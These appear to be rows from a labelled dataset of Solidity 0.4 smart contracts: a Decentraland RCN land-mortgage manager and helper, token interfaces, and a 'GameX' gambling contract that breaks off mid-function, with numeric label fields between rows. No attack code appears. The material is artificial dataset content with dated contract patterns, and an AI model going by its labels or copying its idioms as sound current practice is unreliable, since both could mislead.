function withdrawSome(uint value) onlyOwner {
require(value <= this.balance);
msg.sender.transfer(value);
}
function withdrawToken(address token) onlyOwner {
Token t = Token(token);
require(t.transfer(msg.sender, t.balanceOf(this)));
}
function refundToken(address token, address sender, uint amount) onlyOwner {
Token t = Token(token);
require(t.transfer(sender, amount));
}
} | 0 | 181 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "Sender is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0), "Can't transfer to 0x0");
owner = _to;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() external view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) external view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) external returns (bool);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function sub(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function mult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
}
contract SafeWithdraw is Ownable {
function withdrawTokens(Token token, address to, uint256 amountOrId) external onlyOwner returns (bool) {
require(to != address(0));
return token.transfer(to, amountOrId);
}
}
contract BytesUtils {
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
require(data.length / 32 > index);
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
interface IERC721Receiver {
function onERC721Received(
address _oldOwner,
uint256 _tokenId,
bytes _userData
) external returns (bytes4);
}
contract ERC721Base {
using SafeMath for uint256;
uint256 private _count;
mapping(uint256 => address) private _holderOf;
mapping(address => uint256[]) private _assetsOf;
mapping(address => mapping(address => bool)) private _operators;
mapping(uint256 => address) private _approval;
mapping(uint256 => uint256) private _indexOfAsset;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function totalSupply() external view returns (uint256) {
return _totalSupply();
}
function _totalSupply() internal view returns (uint256) {
return _count;
}
function ownerOf(uint256 assetId) external view returns (address) {
return _ownerOf(assetId);
}
function _ownerOf(uint256 assetId) internal view returns (address) {
return _holderOf[assetId];
}
function balanceOf(address owner) external view returns (uint256) {
return _balanceOf(owner);
}
function _balanceOf(address owner) internal view returns (uint256) {
return _assetsOf[owner].length;
}
function isApprovedForAll(address operator, address assetHolder)
external view returns (bool)
{
return _isApprovedForAll(operator, assetHolder);
}
function _isApprovedForAll(address operator, address assetHolder)
internal view returns (bool)
{
return _operators[assetHolder][operator];
}
function getApprovedAddress(uint256 assetId) external view returns (address) {
return _getApprovedAddress(assetId);
}
function _getApprovedAddress(uint256 assetId) internal view returns (address) {
return _approval[assetId];
}
function isAuthorized(address operator, uint256 assetId) external view returns (bool) {
return _isAuthorized(operator, assetId);
}
function _isAuthorized(address operator, uint256 assetId) internal view returns (bool)
{
require(operator != 0, "Operator can't be 0");
address owner = _ownerOf(assetId);
if (operator == owner) {
return true;
}
return _isApprovedForAll(operator, owner) || _getApprovedAddress(assetId) == operator;
}
function setApprovalForAll(address operator, bool authorized) external {
return _setApprovalForAll(operator, authorized);
}
function _setApprovalForAll(address operator, bool authorized) internal {
if (authorized) {
_addAuthorization(operator, msg.sender);
} else {
_clearAuthorization(operator, msg.sender);
}
emit ApprovalForAll(operator, msg.sender, authorized);
}
function approve(address operator, uint256 assetId) external {
address holder = _ownerOf(assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder));
require(operator != holder);
if (_getApprovedAddress(assetId) != operator) {
_approval[assetId] = operator;
emit Approval(holder, operator, assetId);
}
}
function _addAuthorization(address operator, address holder) private {
_operators[holder][operator] = true;
}
function _clearAuthorization(address operator, address holder) private {
_operators[holder][operator] = false;
}
function _addAssetTo(address to, uint256 assetId) internal {
_holderOf[assetId] = to;
uint256 length = _balanceOf(to);
_assetsOf[to].push(assetId);
_indexOfAsset[assetId] = length;
_count = _count.add(1);
}
function _removeAssetFrom(address from, uint256 assetId) internal {
uint256 assetIndex = _indexOfAsset[assetId];
uint256 lastAssetIndex = _balanceOf(from).sub(1);
uint256 lastAssetId = _assetsOf[from][lastAssetIndex];
_holderOf[assetId] = 0;
_assetsOf[from][assetIndex] = lastAssetId;
_assetsOf[from][lastAssetIndex] = 0;
_assetsOf[from].length--;
if (_assetsOf[from].length == 0) {
delete _assetsOf[from];
}
_indexOfAsset[assetId] = 0;
_indexOfAsset[lastAssetId] = assetIndex;
_count = _count.sub(1);
}
function _clearApproval(address holder, uint256 assetId) internal {
if (_ownerOf(assetId) == holder && _approval[assetId] != 0) {
_approval[assetId] = 0;
emit Approval(holder, 0, assetId);
}
}
function _generate(uint256 assetId, address beneficiary) internal {
require(_holderOf[assetId] == 0);
_addAssetTo(beneficiary, assetId);
emit Transfer(0x0, beneficiary, assetId);
}
function _destroy(uint256 assetId) internal {
address holder = _holderOf[assetId];
require(holder != 0);
_removeAssetFrom(holder, assetId);
emit Transfer(holder, 0x0, assetId);
}
modifier onlyHolder(uint256 assetId) {
require(_ownerOf(assetId) == msg.sender, "Not holder");
_;
}
modifier onlyAuthorized(uint256 assetId) {
require(_isAuthorized(msg.sender, assetId), "Not authorized");
_;
}
modifier isCurrentOwner(address from, uint256 assetId) {
require(_ownerOf(assetId) == from, "Not current owner");
_;
}
function safeTransferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", true);
}
function safeTransferFrom(address from, address to, uint256 assetId, bytes userData) external {
return _doTransferFrom(from, to, assetId, userData, true);
}
function transferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", false);
}
function _doTransferFrom(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
onlyAuthorized(assetId)
internal
{
_moveToken(from, to, assetId, userData, doCheck);
}
function _moveToken(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
isCurrentOwner(from, assetId)
internal
{
address holder = _holderOf[assetId];
_removeAssetFrom(holder, assetId);
_clearApproval(holder, assetId);
_addAssetTo(to, assetId);
if (doCheck && _isContract(to)) {
bytes4 ERC721_RECEIVED = bytes4(0xf0b9e5ba);
require(
IERC721Receiver(to).onERC721Received(
holder, assetId, userData
) == ERC721_RECEIVED
, "Contract onERC721Received failed");
}
emit Transfer(holder, to, assetId);
}
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
if (_interfaceID == 0xffffffff) {
return false;
}
return _interfaceID == 0x01ffc9a7 || _interfaceID == 0x80ac58cd;
}
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract LandMarket {
struct Auction {
bytes32 id;
address seller;
uint256 price;
uint256 expiresAt;
}
mapping (uint256 => Auction) public auctionByAssetId;
function executeOrder(uint256 assetId, uint256 price) public;
}
contract Land {
function updateLandData(int x, int y, string data) public;
function decodeTokenId(uint value) view public returns (int, int);
function safeTransferFrom(address from, address to, uint256 assetId) public;
function ownerOf(uint256 landID) public view returns (address);
}
contract MortgageManager is Cosigner, ERC721Base, SafeWithdraw, BytesUtils {
using SafeMath for uint256;
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
uint256 public constant REQUIRED_ALLOWANCE = 1000000000 * 10**18;
function name() public pure returns (string _name) {
_name = "Decentraland RCN Mortgage";
}
function symbol() public pure returns (string _symbol) {
_symbol = "LAND-RCN-Mortgage";
}
event RequestedMortgage(uint256 _id, address _borrower, address _engine, uint256 _loanId, uint256 _landId, uint256 _deposit, address _tokenConverter);
event StartedMortgage(uint256 _id);
event CanceledMortgage(address _from, uint256 _id);
event PaidMortgage(address _from, uint256 _id);
event DefaultedMortgage(uint256 _id);
event UpdatedLandData(address _updater, uint256 _parcel, string _data);
event SetCreator(address _creator, bool _status);
Token public rcn;
Token public mana;
Land public land;
LandMarket public landMarket;
constructor(Token _rcn, Token _mana, Land _land, LandMarket _landMarket) public {
rcn = _rcn;
mana = _mana;
land = _land;
landMarket = _landMarket;
mortgages.length++;
}
enum Status { Pending, Ongoing, Canceled, Paid, Defaulted }
struct Mortgage {
address owner;
Engine engine;
uint256 loanId;
uint256 deposit;
uint256 landId;
uint256 landCost;
Status status;
TokenConverter tokenConverter;
}
uint256 internal flagReceiveLand;
Mortgage[] public mortgages;
mapping(address => bool) public creators;
mapping(uint256 => uint256) public mortgageByLandId;
mapping(address => mapping(uint256 => uint256)) public loanToLiability;
function url() external view returns (string) {
return "";
}
function setCreator(address creator, bool authorized) external onlyOwner returns (bool) {
emit SetCreator(creator, authorized);
creators[creator] = authorized;
return true;
}
function cost(address, uint256, bytes, bytes) external view returns (uint256) {
return 0;
}
function requestMortgage(
Engine engine,
bytes32 loanIdentifier,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) external returns (uint256 id) {
return requestMortgageId(engine, engine.identifierToIndex(loanIdentifier), deposit, landId, tokenConverter);
}
function requestMortgageId(
Engine engine,
uint256 loanId,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) public returns (uint256 id) {
require(engine.getCurrency(loanId) == MANA_CURRENCY, "Loan currency is not MANA");
address borrower = engine.getBorrower(loanId);
require(engine.getStatus(loanId) == Engine.Status.initial, "Loan status is not inital");
require(msg.sender == engine.getBorrower(loanId) ||
(msg.sender == engine.getCreator(loanId) && creators[msg.sender]),
"Creator should be borrower or authorized");
require(engine.isApproved(loanId), "Loan is not approved");
require(rcn.allowance(borrower, this) >= REQUIRED_ALLOWANCE, "Manager cannot handle borrower's funds");
require(tokenConverter != address(0), "Token converter not defined");
require(loanToLiability[engine][loanId] == 0, "Liability for loan already exists");
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 loanAmount = engine.getAmount(loanId);
require((loanAmount + deposit) >= ((landCost / 10) * 11), "Not enought total amount");
require(mana.transferFrom(msg.sender, this, deposit));
id = mortgages.push(Mortgage({
owner: borrower,
engine: engine,
loanId: loanId,
deposit: deposit,
landId: landId,
landCost: landCost,
status: Status.Pending,
tokenConverter: tokenConverter
})) - 1;
loanToLiability[engine][loanId] = id;
emit RequestedMortgage({
_id: id,
_borrower: borrower,
_engine: engine,
_loanId: loanId,
_landId: landId,
_deposit: deposit,
_tokenConverter: tokenConverter
});
}
function cancelMortgage(uint256 id) external returns (bool) {
Mortgage storage mortgage = mortgages[id];
require(msg.sender == mortgage.owner, "Only the owner can cancel the mortgage");
require(mortgage.status == Status.Pending, "The mortgage is not pending");
mortgage.status = Status.Canceled;
require(mana.transfer(msg.sender, mortgage.deposit), "Error returning MANA");
emit CanceledMortgage(msg.sender, id);
return true;
}
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool) {
Mortgage storage mortgage = mortgages[uint256(readBytes32(data, 0))];
require(mortgage.engine == engine, "Engine does not match");
require(mortgage.loanId == index, "Loan id does not match");
require(mortgage.status == Status.Pending, "Mortgage is not pending");
mortgage.status = Status.Ongoing;
_generate(uint256(readBytes32(data, 0)), mortgage.owner);
uint256 loanAmount = convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
require(rcn.transferFrom(mortgage.owner, this, loanAmount), "Error pulling RCN from borrower");
uint256 boughtMana = convertSafe(mortgage.tokenConverter, rcn, mana, loanAmount);
delete mortgage.tokenConverter;
uint256 currentLandCost;
(, , currentLandCost, ) = landMarket.auctionByAssetId(mortgage.landId);
require(currentLandCost <= mortgage.landCost, "Parcel is more expensive than expected");
require(mana.approve(landMarket, currentLandCost));
flagReceiveLand = mortgage.landId;
landMarket.executeOrder(mortgage.landId, currentLandCost);
require(mana.approve(landMarket, 0));
require(flagReceiveLand == 0, "ERC721 callback not called");
require(land.ownerOf(mortgage.landId) == address(this), "Error buying parcel");
uint256 totalMana = boughtMana.add(mortgage.deposit);
require(mana.transfer(mortgage.owner, totalMana.sub(currentLandCost)), "Error returning MANA");
require(mortgage.engine.cosign(index, 0), "Error performing cosign");
mortgageByLandId[mortgage.landId] = uint256(readBytes32(data, 0));
emit StartedMortgage(uint256(readBytes32(data, 0)));
return true;
}
function convertSafe(
TokenConverter converter,
Token from,
Token to,
uint256 amount
) internal returns (uint256 bought) {
require(from.approve(converter, amount));
uint256 prevBalance = to.balanceOf(this);
bought = converter.convert(from, to, amount, 1);
require(to.balanceOf(this).sub(prevBalance) >= bought, "Bought amount incorrect");
require(from.approve(converter, 0));
}
function claim(address engine, uint256 loanId, bytes) external returns (bool) {
uint256 mortgageId = loanToLiability[engine][loanId];
Mortgage storage mortgage = mortgages[mortgageId];
require(mortgage.status == Status.Ongoing, "Mortgage not ongoing");
require(mortgage.loanId == loanId, "Mortgage don't match loan id");
if (mortgage.engine.getStatus(loanId) == Engine.Status.paid || mortgage.engine.getStatus(loanId) == Engine.Status.destroyed) {
require(_isAuthorized(msg.sender, mortgageId), "Sender not authorized");
mortgage.status = Status.Paid;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit PaidMortgage(msg.sender, mortgageId);
} else if (isDefaulted(mortgage.engine, loanId)) {
require(msg.sender == mortgage.engine.ownerOf(loanId), "Sender not lender");
mortgage.status = Status.Defaulted;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit DefaultedMortgage(mortgageId);
} else {
revert("Mortgage not defaulted/paid");
}
_destroy(mortgageId);
delete mortgageByLandId[mortgage.landId];
return true;
}
function isDefaulted(Engine engine, uint256 index) public view returns (bool) {
return engine.getStatus(index) == Engine.Status.lent &&
engine.getDueTime(index).add(7 days) <= block.timestamp;
}
function onERC721Received(uint256 _tokenId, address, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function onERC721Received(address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function getData(uint256 id) public pure returns (bytes o) {
assembly {
o := mload(0x40)
mstore(0x40, add(o, and(add(add(32, 0x20), 0x1f), not(0x1f))))
mstore(o, 32)
mstore(add(o, 32), id)
}
}
function updateLandData(uint256 id, string data) external returns (bool) {
Mortgage memory mortgage = mortgages[id];
require(_isAuthorized(msg.sender, id), "Sender not authorized");
int256 x;
int256 y;
(x, y) = land.decodeTokenId(mortgage.landId);
land.updateLandData(x, y, data);
emit UpdatedLandData(msg.sender, id, data);
return true;
}
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) internal returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
uint256 rate;
uint256 decimals;
(rate, decimals) = oracle.getRate(currency, data);
require(decimals <= RCN_DECIMALS, "Decimals exceeds max decimals");
return (amount.mult(rate).mult((10**(RCN_DECIMALS-decimals)))) / PRECISION;
}
}
}
interface NanoLoanEngine {
function createLoan(address _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate,
uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256);
function getIdentifier(uint256 index) public view returns (bytes32);
function registerApprove(bytes32 identifier, uint8 v, bytes32 r, bytes32 s) public returns (bool);
function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool);
function rcn() public view returns (Token);
function getOracle(uint256 index) public view returns (Oracle);
function getAmount(uint256 index) public view returns (uint256);
function getCurrency(uint256 index) public view returns (bytes32);
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public view returns (uint256);
function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
}
contract MortgageHelper is Ownable {
using SafeMath for uint256;
MortgageManager public mortgageManager;
NanoLoanEngine public nanoLoanEngine;
Token public rcn;
Token public mana;
LandMarket public landMarket;
TokenConverter public tokenConverter;
address public converterRamp;
address public manaOracle;
uint256 public requiredTotal = 110;
uint256 public rebuyThreshold = 0.001 ether;
uint256 public marginSpend = 100;
uint256 public maxSpend = 100;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
event NewMortgage(address borrower, uint256 loanId, uint256 landId, uint256 mortgageId);
event PaidLoan(address engine, uint256 loanId, uint256 amount);
event SetConverterRamp(address _prev, address _new);
event SetTokenConverter(address _prev, address _new);
event SetRebuyThreshold(uint256 _prev, uint256 _new);
event SetMarginSpend(uint256 _prev, uint256 _new);
event SetMaxSpend(uint256 _prev, uint256 _new);
event SetRequiredTotal(uint256 _prev, uint256 _new);
constructor(
MortgageManager _mortgageManager,
NanoLoanEngine _nanoLoanEngine,
Token _rcn,
Token _mana,
LandMarket _landMarket,
address _manaOracle,
TokenConverter _tokenConverter,
address _converterRamp
) public {
mortgageManager = _mortgageManager;
nanoLoanEngine = _nanoLoanEngine;
rcn = _rcn;
mana = _mana;
landMarket = _landMarket;
manaOracle = _manaOracle;
tokenConverter = _tokenConverter;
converterRamp = _converterRamp;
emit SetConverterRamp(converterRamp, _converterRamp);
emit SetTokenConverter(tokenConverter, _tokenConverter);
}
function createLoan(uint256[6] memory params, string metadata) internal returns (uint256) {
return nanoLoanEngine.createLoan(
manaOracle,
msg.sender,
MANA_CURRENCY,
params[0],
params[1],
params[2],
params[3],
params[4],
params[5],
metadata
);
}
function setMaxSpend(uint256 _maxSpend) external onlyOwner returns (bool) {
emit SetMaxSpend(maxSpend, _maxSpend);
maxSpend = _maxSpend;
return true;
}
function setRequiredTotal(uint256 _requiredTotal) external onlyOwner returns (bool) {
emit SetRequiredTotal(requiredTotal, _requiredTotal);
requiredTotal = _requiredTotal;
return true;
}
function setConverterRamp(address _converterRamp) external onlyOwner returns (bool) {
emit SetConverterRamp(converterRamp, _converterRamp);
converterRamp = _converterRamp;
return true;
}
function setRebuyThreshold(uint256 _rebuyThreshold) external onlyOwner returns (bool) {
emit SetRebuyThreshold(rebuyThreshold, _rebuyThreshold);
rebuyThreshold = _rebuyThreshold;
return true;
}
function setMarginSpend(uint256 _marginSpend) external onlyOwner returns (bool) {
emit SetMarginSpend(marginSpend, _marginSpend);
marginSpend = _marginSpend;
return true;
}
function setTokenConverter(TokenConverter _tokenConverter) external onlyOwner returns (bool) {
emit SetTokenConverter(tokenConverter, _tokenConverter);
tokenConverter = _tokenConverter;
return true;
}
function _tokenTransferFrom(Token token, address from, address to, uint256 amount) internal {
require(token.balanceOf(from) >= amount, "From balance is not enough");
require(token.allowance(from, address(this)) >= amount, "Allowance is not enough");
require(token.transferFrom(from, to, amount), "Transfer failed");
}
function requestMortgage(
uint256[6] loanParams,
string metadata,
uint256 landId,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256) {
uint256 loanId = createLoan(loanParams, metadata);
require(nanoLoanEngine.registerApprove(nanoLoanEngine.getIdentifier(loanId), v, r, s), "Signature not valid");
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 requiredDeposit = ((landCost * requiredTotal) / 100) - nanoLoanEngine.getAmount(loanId);
_tokenTransferFrom(mana, msg.sender, this, requiredDeposit);
require(mana.approve(mortgageManager, requiredDeposit));
uint256 mortgageId = mortgageManager.requestMortgageId(Engine(nanoLoanEngine), loanId, requiredDeposit, landId, tokenConverter);
emit NewMortgage(msg.sender, loanId, landId, mortgageId);
return mortgageId;
}
function pay(address engine, uint256 loan, uint256 amount) external returns (bool) {
emit PaidLoan(engine, loan, amount);
bytes32[4] memory loanParams = [
bytes32(engine),
bytes32(loan),
bytes32(amount),
bytes32(msg.sender)
];
uint256[3] memory converterParams = [
marginSpend,
amount.mult(uint256(100000).add(maxSpend)) / 100000,
rebuyThreshold
];
require(address(converterRamp).delegatecall(
bytes4(0x86ee863d),
address(tokenConverter),
address(mana),
loanParams,
0x140,
converterParams,
0x0
), "Error delegate pay call");
}
} | 0 | 164 |
pragma solidity ^0.4.24;
contract GameX {
using SafeMath for uint256;
string public name = "GameX";
string public symbol = "nox";
mapping(address => bool) admins;
bool public activated = false;
uint public compot;
uint minFee = 0.01 ether;
uint maxFee = 1 ether;
uint minLucky = 0.1 ether;
uint retryfee = 0.02 ether;
uint16 public luckynum = 2;
uint16 public fuckynum = 90;
uint lastnumtime = now;
uint public noncex = 1;
uint public timeslucky;
uint public times6;
uint public times7;
uint public times8;
uint public times9;
uint public timesno;
uint public timesfucky;
uint16 public limit6 = 79;
uint16 public limit7 = 86;
uint16 public limit8 = 92;
uint16 public limit9 = 97;
uint16 public reward6 = 11;
uint16 public reward7 = 13;
uint16 public reward8 = 16;
uint16 public reward9 = 23;
uint16 public inmax = 100;
uint private lastPlayer;
uint public jackpot = 0;
uint public maskpot = 0;
uint public gameTotalGen = 0;
uint public _iD;
mapping(address => player) public player_;
mapping(uint => address) public addrXid;
struct player {
uint16[] playerNum;
uint16 playerTotal;
uint id;
uint playerWin;
uint playerGen;
uint playerWinPot;
uint RetryTimes;
uint lastRetryTime;
bool hasRetry;
address Aff;
uint totalGen;
bool hasAddTime;
}
constructor()
{
setAdmin(address(msg.sender));
setAdmin(0x8f92200dd83e8f25cb1dafba59d5532507998307);
setAdmin(0x9656DDAB1448B0CFbDbd71fbF9D7BB425D8F3fe6);
}
modifier isActivated() {
require(activated, "not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require(_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier validAff(address _addr) {
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyOwner() {
require(admins[msg.sender], "only admin");
_;
}
function()
public
payable
{
compot += msg.value;
}
function getPlayerNum() constant public returns (uint16[]) {
return player_[msg.sender].playerNum;
}
function getPlayerWin(address _addr) public view returns (uint, uint) {
if (gameTotalGen == 0)
{
return (player_[_addr].playerWinPot, 0);
}
return (player_[_addr].playerWinPot, maskpot.mul(player_[_addr].totalGen).div(gameTotalGen));
}
function isLuckyGuy()
private
view
returns (uint8)
{
if (player_[msg.sender].playerTotal == luckynum || player_[msg.sender].playerTotal == 100) {
return 5;
}
uint8 _retry = 0;
if (player_[msg.sender].hasRetry) {
_retry = 1;
}
if (player_[msg.sender].playerTotal <= 33 && player_[msg.sender].playerNum.length.sub(_retry) >= 3) {
return 10;
}
return 0;
}
function Card(uint8 _num, bool _retry, address _ref)
isActivated
isHuman
validAff(_ref)
public
payable
{
require(msg.value > 0);
uint256 amount = msg.value;
if (player_[msg.sender].playerGen == 0)
{
player_[msg.sender].playerNum.length = 0;
}
if (player_[msg.sender].id == 0)
{
_iD ++;
player_[msg.sender].id = _iD;
addrXid[_iD] = msg.sender;
}
if (amount < minFee * _num || amount > maxFee * _num) {
compot += amount;
return;
}
if (player_[msg.sender].playerGen > 0)
{
require(player_[msg.sender].playerGen.mul(inmax).mul(_num) >= amount);
}
if (_retry == false && player_[msg.sender].playerTotal > 100) {
endRound();
player_[msg.sender].playerNum.length = 0;
}
if (_retry && _num == 1) {
require(
player_[msg.sender].playerNum.length > 0 &&
player_[msg.sender].hasRetry == false &&
player_[msg.sender].RetryTimes > 0 &&
player_[msg.sender].lastRetryTime <= (now - 1 hours),
'retry fee need to be valid'
);
player_[msg.sender].hasRetry = true;
player_[msg.sender].RetryTimes --;
player_[msg.sender].lastRetryTime = now;
uint16 lastnum = player_[msg.sender].playerNum[player_[msg.sender].playerNum.length - 1];
player_[msg.sender].playerTotal -= lastnum;
player_[msg.sender].playerNum.length = player_[msg.sender].playerNum.length - 1;
player_[msg.sender].playerNum.push(100 + lastnum);
}
compot += amount.div(100);
jackpot += amount.sub(amount.div(100));
player_[msg.sender].playerGen += amount.sub(amount.div(100));
if (
player_[msg.sender].Aff == address(0x0) &&
_ref != address(0x0) &&
_ref != msg.sender &&
player_[_ref].id > 0
)
{
player_[msg.sender].Aff = _ref;
}
for (uint16 i = 1; i <= _num; i++) {
uint16 x = randomX(i);
player_[msg.sender].playerNum.push(x);
player_[msg.sender].playerTotal += x;
}
uint16 _case = isLuckyGuy();
if (_case > 0) {
timeslucky ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(36).div(10);
if (amount >= minLucky) {
player_[msg.sender].playerWin += jackpot.mul(_case).div(100);
}
endRound();
return;
}
if (player_[msg.sender].playerTotal > 100 || player_[msg.sender].playerTotal == fuckynum) {
player_[msg.sender].playerWin = 0;
if (player_[msg.sender].hasRetry == false && player_[msg.sender].RetryTimes > 0) {
return;
}
if (player_[msg.sender].playerTotal == fuckynum) {
timesfucky++;
} else {
timesno ++;
}
uint tocom = player_[msg.sender].playerGen.div(50);
compot += tocom;
subJackPot(tocom);
endRound();
return;
}
if (player_[msg.sender].playerTotal > limit9) {
times9 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward9).div(10);
return;
}
if (player_[msg.sender].playerTotal > limit8) {
times8 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward8).div(10);
return;
}
if (player_[msg.sender].playerTotal > limit7) {
times7 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward7).div(10);
return;
}
if (player_[msg.sender].playerTotal > limit6) {
times6 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward6).div(10);
}
}
event resultlog(address indexed user, uint16[] num, uint16 indexed total, uint gen, uint win, uint time, uint16 luckynum, uint16 fuckynum);
function resetPlayer()
isActivated
isHuman
private
{
emit resultlog(
msg.sender,
player_[msg.sender].playerNum,
player_[msg.sender].playerTotal,
player_[msg.sender].playerGen,
player_[msg.sender].playerWin,
now,
luckynum,
fuckynum
);
player_[msg.sender].totalGen += player_[msg.sender].playerGen;
gameTotalGen += player_[msg.sender].playerGen;
if (
player_[msg.sender].Aff != address(0x0) &&
player_[msg.sender].hasAddTime == false &&
player_[msg.sender].totalGen > retryfee
) {
player_[player_[msg.sender].Aff].RetryTimes++;
player_[player_[msg.sender].Aff].hasAddTime = true;
}
player_[msg.sender].playerGen = 0;
player_[msg.sender].playerTotal = 0;
player_[msg.sender].hasRetry = false;
player_[msg.sender].playerWinPot += player_[msg.sender].playerWin;
player_[msg.sender].playerWin = 0;
if (luckynum == 0 || lastnumtime + 1 hours <= now) {
luckynum = randomX(luckynum);
lastnumtime = now;
fuckynum ++;
if (fuckynum >= 99)
fuckynum = 85;
}
}
function subJackPot(uint _amount)
private
{
if (_amount < jackpot) {
jackpot = jackpot.sub(_amount);
} else {
jackpot = 0;
}
}
function endRound()
isActivated
isHuman
public
{
if (player_[msg.sender].playerTotal == 0) {
return;
}
if (player_[msg.sender].playerTotal <= limit6 && player_[msg.sender].playerWin == 0) {
